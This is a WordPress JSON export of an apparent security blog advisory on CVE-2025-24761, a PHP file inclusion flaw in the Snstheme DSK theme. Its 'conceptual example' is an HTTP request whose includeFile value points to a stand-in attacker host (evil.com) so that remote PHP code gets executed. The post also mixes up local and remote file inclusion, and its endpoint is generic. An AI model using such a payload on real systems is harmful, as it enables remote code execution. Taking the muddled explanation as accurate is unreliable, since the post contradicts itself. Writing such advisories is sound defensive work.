{"id":55325,"date":"2025-06-27T06:09:54","date_gmt":"2025-06-27T06:09:54","guid":{"rendered":""},"modified":"2025-09-26T19:45:54","modified_gmt":"2025-09-27T01:45:54","slug":"cve-2025-24761-severe-php-local-file-inclusion-vulnerability-in-snstheme-dsk","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24761-severe-php-local-file-inclusion-vulnerability-in-snstheme-dsk\/","title":{"rendered":"CVE-2025-24761: Severe PHP Local File Inclusion Vulnerability in Snstheme DSK<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include\/Require statement in a PHP<\/a> program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity and data security, as it potentially allows unauthorized access to sensitive data<\/a> or even full system compromise. Therefore, understanding and mitigating this vulnerability is of utmost importance for users<\/a> of Snstheme DSK.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-24761
\nSeverity: High, CVSS score 8.1
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Snstheme DSK | Up to version 2.2<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability, CVE-2025-24761, arises when an attacker is able to manipulate the filename that is used in an Include\/Require statement in a PHP<\/a> program. This allows them to include a file from a remote<\/a> server which can be executed within the context of the local PHP application. This is known as a PHP Remote File Inclusion<\/a> (RFI) attack. In this case, the attack can lead to unauthorized<\/a> access, potential system compromise, and data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ \"includeFile\": \"http:\/\/evil.com\/malicious_script.php\" }<\/code><\/pre>\n
In this example, the attacker sends a POST request to a vulnerable<\/a> endpoint on the target server. The “includeFile” parameter is manipulated to point to a malicious PHP script hosted on a remote<\/a> server (evil.com). If the server processes this request, it would include and execute the malicious script in the context of the local<\/a> PHP application, potentially leading to system compromise or data leakage.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Users of Snstheme<\/a> DSK are strongly recommended to apply the vendor’s patch to resolve this vulnerability. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability<\/a>, thus providing a layer of protection while a more permanent solution is implemented.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include\/Require statement in a PHP program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55325","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t